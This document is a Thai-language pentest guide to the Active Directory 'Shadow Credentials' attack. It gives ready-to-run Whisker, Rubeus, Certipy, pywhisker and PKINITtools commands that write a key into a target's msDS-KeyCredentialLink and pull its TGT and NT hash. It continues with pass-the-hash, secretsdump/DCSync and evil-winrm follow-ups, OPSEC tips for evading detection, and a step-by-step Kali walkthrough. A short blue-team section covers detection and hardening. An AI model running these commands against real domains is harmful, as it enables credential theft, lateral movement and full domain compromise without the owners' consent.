Shadow Credentials

1. หลักการ — Key Trust และ msDS-KeyCredentialLink

Windows Hello for Business แนะนำกลไก Key Trust authentication — แทนที่จะพิสูจน์ตัวด้วยรหัสผ่าน object สามารถพิสูจน์ตัวด้วย key pair โดย public key ถูกเก็บใน attribute msDS-KeyCredentialLink ของ object นั้น (เก็บเป็นโครงสร้าง KEYCREDENTIALLINK / raw public key blob) เมื่อ authenticate DC จะ challenge ด้วย public key และผู้ถือ private key เท่านั้นที่ตอบได้ผ่าน PKINIT

ช่องโหว่: ถ้าเรามีสิทธิ์เขียน attribute msDS-KeyCredentialLink ของเป้าหมาย (จาก GenericWrite / GenericAll / WriteProperty ที่ BloodHound มักชี้เป็น edge AddKeyCredentialLink) เราสามารถสร้าง key pair ของเราเอง แล้วเพิ่ม public key เข้าไปในเป้าหมาย จากนั้นใช้ private key คู่กัน authenticate เป็นเป้าหมายผ่าน PKINIT ได้ทันที — ได้ TGT ของเป้าหมาย และด้วยเทคนิค UnPAC-the-hash ยังดึง NT hash ออกมาได้ด้วย ทั้งหมดนี้ไม่แตะรหัสผ่านเดิมของเป้าหมายเลย

2. เงื่อนไขที่ต้องครบ

• เรามีสิทธิ์ GenericWrite / GenericAll / WriteProperty (AddKeyCredentialLink) บน msDS-KeyCredentialLink ของ target (BloodHound เห็นชัด — มองหา edge AddKeyCredentialLink)
• โดเมนรองรับ PKINIT — ต้องมี DC ที่มี certificate สำหรับ Kerberos Authentication / Smartcard Logon (มักมาพร้อม ADCS ที่ออก DC cert)
• Domain Functional Level อย่างน้อย Windows Server 2016 (schema รองรับ Key Trust)
• target เป็น user หรือ computer object ก็ได้ — computer object น่าสนใจเพราะมักนำไปสู่ RBCD / local admin

3. Exploitation — Whisker / pyWhisker / Certipy

มีสองเส้นทางหลัก: บน Windows ใช้ Whisker (C#) ที่ทำงาน in-memory คู่กับ Rubeus, บน Linux ใช้ pywhisker (เพิ่ม key) + PKINITtools/gettgtpkinit.py (ขอ TGT) หรือใช้ Certipy shadow auto ที่ทำครบทุกขั้นให้อัตโนมัติ

# 1. เพิ่ม shadow credential ให้ target (สร้าง key pair + เขียน msDS-KeyCredentialLink)
Whisker.exe add /target:victim$

# Whisker จะ print คำสั่ง Rubeus พร้อม cert (base64) ให้ต่อ เช่น:
# Rubeus.exe asktgt /user:victim$ /certificate:<base64> /password:"<gen-pass>" /domain:domain.local /dc:dc.domain.local /getcredentials /show

# 2. รัน Rubeus เพื่อขอ TGT ด้วย cert + ดึง NT hash (UnPAC-the-hash)
Rubeus.exe asktgt /user:victim$ /certificate:<base64> /password:"<gen-pass>" /domain:domain.local /dc:dc.domain.local /getcredentials /show
# /getcredentials → คืน NTLM hash ของ victim$ ด้วย (U2U/PAC)

# 3. เมื่อจบงาน ลบ key ทิ้ง (ถอนคืน)
Whisker.exe remove /target:victim$ /deviceid:<GUID>

# certipy ทำ: gen key → เพิ่ม msDS-KeyCredentialLink → PKINIT → UnPAC → คืน NT hash
certipy-ad shadow auto \
    -u [email protected] -p 'Password123' \
    -account victim -dc-ip 10.10.10.10

# ผลลัพธ์: "Got hash for '[email protected]': aad3b...:<NThash>"
# ใช้ hash ต่อ (pass-the-hash)

# ถ้าเป็น computer object ใช้ชื่อพร้อม $ (บาง build ตัด $ ให้เอง)
certipy-ad shadow auto -u [email protected] -p 'pass' -account 'victim$' -dc-ip 10.10.10.10

# ทางเลือก: แยกขั้น (list / add / remove)
certipy-ad shadow add   -u [email protected] -p 'pass' -account victim -dc-ip 10.10.10.10
certipy-ad shadow list  -u [email protected] -p 'pass' -account victim -dc-ip 10.10.10.10
certipy-ad shadow remove -u [email protected] -p 'pass' -account victim -dc-ip 10.10.10.10 -device-id <GUID>

# 1. pywhisker: เพิ่ม key → ได้ไฟล์ .pfx + รหัส pfx
pywhisker.py -d domain.local -u attacker -p 'pass' \
    --target victim --action add --filename cert

# 2. ขอ TGT ด้วย cert (PKINIT) → ได้ .ccache + AS-REP key
python3 gettgtpkinit.py -cert-pfx cert.pfx -pfx-pass <pfxpass> \
    domain.local/victim victim.ccache

# 3. UnPAC-the-hash: ใช้ AS-REP key ดึง NT hash
export KRB5CCNAME=victim.ccache
python3 getnthash.py -key <as-rep-key> domain.local/victim

# 4. ใช้ TGT / hash ต่อ
secretsdump.py -k -no-pass domain.local/[email protected]
psexec.py -hashes :<NThash> domain.local/victim@target

4. Decision Flow

5. การตรวจจับ & OPSEC

• OPSEC: ลบ key ทิ้งทันทีหลังใช้ (Whisker remove / certipy shadow remove) — อย่าทิ้ง key ค้างไว้
• OPSEC: ทำกับ target ที่มีเหตุผลจะใช้ cert อยู่แล้วยิ่งเนียน; หลีกเลี่ยง target ที่ไม่เคยใช้ Key Trust
• OPSEC: Shadow Credentials สร้าง Event 5136 เสมอถ้ามี SACL audit บน object — องค์กรที่ audit ละเอียดจับได้

6. Blue Team — การป้องกัน

• Monitor Event 5136 ที่แก้ msDS-KeyCredentialLink — โดยเฉพาะบนบัญชี privileged; alert เมื่อ key ถูกเพิ่มจากบัญชีที่ไม่ใช่ตัวเจ้าของ
• Least privilege บน ACL: ตรวจและลดสิทธิ์ GenericWrite/GenericAll/WriteProperty ที่ไม่จำเป็น (ใช้ BloodHound ฝั่ง defense หา over-permission)
• ควบคุม ADCS / PKINIT: ถ้าไม่ได้ใช้ Windows Hello for Business ให้จำกัด/ปิดการออก cert ที่ใช้ smartcard logon โดยไม่จำเป็น
• ป้องกัน Tier 0: วาง object สำคัญ (DA, DC, krbtgt) ไว้ใต้ ACL ที่เข้มงวด ไม่มี write จากบัญชีทั่วไป
• ตรวจ Protected Users: สมาชิก Protected Users ใช้ PKINIT/Key Trust ในบางรูปแบบไม่ได้ — ลด attack surface สำหรับบัญชี privileged
• ตอบสนอง: หากพบ shadow credential — ลบ key ที่ผิดปกติออกจาก msDS-KeyCredentialLink และสอบสวนบัญชีที่มีสิทธิ์เขียน

7. Walkthrough — CTF & real engagement

1. 1รัน BloodHound แล้วพบ edge AddKeyCredentialLink จากบัญชีที่เราคุม → computer object DEV01$
2. 2ยืนยันว่าโดเมนมี ADCS/PKINIT (มี CA + DC cert) — เช่น certipy find เห็น CA
3. 3รัน: certipy-ad shadow auto -u [email protected] -p 'pass' -account 'DEV01$' -dc-ip 10.10.10.10
4. 4ได้ NT hash ของ DEV01$ → machine account
5. 5ใช้ hash ทำ RBCD หรือ S4U ต่อ (computer account มักนำไปสู่ local admin / lateral)
6. 6หรือถ้า target เป็น user privileged: ได้ hash → pass-the-hash → secretsdump → DCSync
7. 7จบงาน: certipy-ad shadow remove ... -device-id เพื่อถอน key

8. ข้อผิดพลาดที่พบบ่อย & แก้ปัญหา

• โดเมนไม่มี PKINIT: อาการคือ PKINIT fail (KDC_ERR_PADATA_TYPE_NOSUPP) — ต้องมี DC cert; ถ้าไม่มีให้ pivot ไป RBCD/targeted kerberoast
• clock skew: Kerberos ไวต่อเวลา — ถ้า time ต่างจาก DC เกิน 5 นาที PKINIT fail; sync เวลา (ntpdate / faketime) ก่อน
• ลืม $ สำหรับ computer: target computer ต้องใช้ชื่อพร้อม $ (victim$); บาง tool ต้องระบุเอง
• Functional level ต่ำ: ต่ำกว่า 2016 schema ไม่มี msDS-KeyCredentialLink — เขียนไม่ได้
• ไม่มีสิทธิ์เขียนจริง: BloodHound แสดง edge แต่ ACL อาจถูก deny เฉพาะ; ยืนยันด้วย add แล้วดู error
• ลืม cleanup: key ที่ค้างใน msDS-KeyCredentialLink = backdoor ถาวร ต้องลบเมื่อจบงาน

9. Quick Reference

• ใช้เมื่อ: มี GenericWrite/GenericAll (AddKeyCredentialLink) บน target + โดเมนมี PKINIT/ADCS
• Linux (ครบขั้น): certipy-ad shadow auto -account victim$ -u me -p pass -dc-ip DC
• Windows: Whisker.exe add /target:victim$ → Rubeus asktgt /getcredentials
• แยกขั้น: pywhisker add → gettgtpkinit.py → getnthash.py (UnPAC-the-hash)
• ผล: ได้ NT hash / TGT ของ target โดยไม่ reset password (เนียน + ถอนได้)
• ถ้าไม่มี PKINIT → ใช้ RBCD หรือ Targeted Kerberoasting แทน (สิทธิ์ write เดียวกัน)
• cleanup: Whisker remove / certipy shadow remove -device-id
• ตรวจจับ: Event 5136 (msDS-KeyCredentialLink), 4768 PKINIT; ป้องกัน: ลด ACL, คุม ADCS

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ BloodHound ชี้ edge AddKeyCredentialLink/GenericWrite บน user หรือ computer object มีแค่ Kali ทำตามนี้เพื่อได้ hash/TGT ของเป้าหมายโดยไม่ต้อง reset password

1. 1ยืนยันเงื่อนไข: มีสิทธิ์ write ตามที่ BloodHound ชี้ + โดเมนมี PKINIT/ADCS (เช็คด้วย certipy find -u user@domain -p pass -dc-ip <DC_IP> -stdout ดูว่ามี CA ไหม)
2. 2ถ้ามีครบ รันคำสั่งเดียวจบ: certipy-ad shadow auto -u [email protected] -p 'pass' -account victim -dc-ip <DC_IP>
3. 3ดูผลลัพธ์ 'Got hash for [email protected]: ...' — เก็บ NT hash ไว้
4. 4ถ้า target เป็น computer object ใส่ $ ต่อท้ายชื่อ: -account 'victim$'
5. 5ใช้ hash ที่ได้ pass-the-hash: evil-winrm -i <target> -u victim -H <NThash>
6. 6ถ้าเป็น computer account ที่ได้มา ลองต่อไปทำ RBCD เพราะ computer account มักนำไปสู่ local admin
7. 7จบงานควรลบ key ทิ้ง: certipy-ad shadow remove ... -device-id <GUID>
8. 8ถ้าโดเมนไม่มี PKINIT เลย (ตัน) → ใช้สิทธิ์ write เดิมทำ RBCD หรือ targeted Kerberoast แทน